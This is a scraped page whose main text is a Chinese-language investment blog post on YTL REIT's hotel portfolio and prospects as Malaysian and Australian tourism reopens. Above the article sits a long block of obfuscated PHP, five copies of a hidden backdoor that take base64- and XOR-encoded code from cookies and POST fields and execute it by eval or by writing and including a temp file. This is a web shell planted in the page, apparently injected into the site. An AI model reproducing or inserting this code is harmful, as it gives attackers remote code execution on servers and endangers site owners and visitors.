$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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旅游业开放,杨忠礼产托见曙光? - Sharix

旅游业开放,杨忠礼产托见曙光?

席卷全球的疫情导致全球大封锁,以服务为首的酒店业自去年开始受到入住率大跌的影响,纷纷削减人力来维持营运需求,导致上万人失业。大部分酒店业者都选者关闭营运来减少损失,有些业者则将酒店作为检疫隔离的作用。

根据联合国的一项研究,2020年国际游客抵达人数比2019年水平下降了73%,造成高达2兆4,000亿美元的损失。而今年国际游客抵达人数也将停滞不前,并称该行业预计要到2023年才会全面反弹。

反观大马,根据马来西亚酒店业协会的调查显示,大马旅游业在疫情爆发至今,即从2020年3月至今年6月总共亏损近RM100 billion。70% 的酒店被迫休业,一些可能已结束营业。剩下30% 在经营的酒店,就是转型到其他的生意模式,例如提供检测隔离的入住服务,路边摊摆卖实物等等来减少营运亏损。

但随著世界各国的经济逐渐开放,口服药的的面世,全球在明年甚至今年末有望放宽旅游限制。届时,那些在疫情中得以生存的酒店业者也将迎来一波非常强势的反弹。而我国政府在上个星期也已经开放跨州,允许完成疫苗接种的国人可以在州内旅游和在酒店或度假村住宿。

大马的浮罗交怡也在9月16日成为旅游泡泡计划的首个试点重新对游客开放,当日迎来约3,200名游客登岛。截至10月6日,浮罗交怡已经成功吸金约RM24.9 million,吸引超过6万名以上的旅客,而且政府也预计在年末开放浮罗交怡给国际旅客。

笔者今天会分享一家有机会受惠于未来旅游业强势复苏的公司——那就是杨忠礼产托 YTLREIT。笔者先简单介绍杨忠礼产托的业务。公司旗下主要经营的是海内外酒店业和商场,成为疫情下的主要受害者。公司在马来西亚、日本及澳洲的产业分布比例为47.7%,11.3%,以及41%。杨忠礼产托虽然是业主,但在日本和大马的酒店产业是不受出租业绩影响的主租合约,而公司在澳洲的酒店物业是管制租约,直接受到澳洲封锁的打击。

于是,公司为了让租户渡过疫情的困境,便在去年宣布从2020年7月至2022年6月减租50%,而相关减幅将在未来7年摊还。此项方案虽然使公司的现金流在短期内比较吃紧,但无疑减轻了旗下酒店业者们的负担。目前,公司在马来西亚总共有10个产业,日本和澳洲分别有2个及3个。公司有59% 的资产是属于主租合约,每年贡献大于RM89 million的稳定租金,而剩余的41% 是来自澳洲的管制租约。笔者也在上图整理了杨忠礼产托旗下的所有产业让大家参考。

杨忠礼产托最新公布截至2021年6月30日第四季度的业绩转亏为盈。去年同期由于受到行动管制令的冲击重亏RM123.2 million,但在这个季度转化成RM94.9 million的净利,主要得益于净公允价值收益及账面外汇收益。从上图可以看到,由于疫情的打击,过去五个季度澳洲的房间出租率徘徊在50% 左右,相比于疫情前的85% 相差甚远。但是,笔者观察到公司的净产业营收 (net property income) 已经有逐渐恢复的迹象。

虽然旅游业都因疫情在苦苦挣扎,但这些已经成为过去式。由于公司向租提供的租户租金变动或延期偿还将从2023年6月30日或更早开始按阶段收回,收入分配表现疲软只是暂时性。另外,笔者也认为杨忠礼产托的中长期盈利将受到澳洲酒店的复苏,及大马和日本的主要资产组合所支撑。值得一提的是,澳洲计划于11月开放国际边境,届时接种了两剂新冠疫苗的公民和永久居民将可以返澳,这也意味著长达19个月的边境关闭政策即将告终。

目前,公司在2021财年的总资产负债比率维持在42.9%,低于60% 的监管门槛,而管理层也表示目前正在积极寻找优质资产进行收购增强旗下产业的组合。公司在评估收购计划时也比较倾向与可带来收入保障的主租合约,减轻任何潜在的短期收购计划的损失。

公司现在的本益比为20倍左右,而且市净率也只有0.61倍。如果盈利和股价能回到疫情前的水平,潜在的上涨空间也有40%。另外,公司也有机会恢复以前的派息水平,大约在每股7.8分左右。以现在的股价计算,周息率也有丰厚的8%。这对于一些追求成长的投资者可能不适合胃口,但对于股息投资者或许是个机会。

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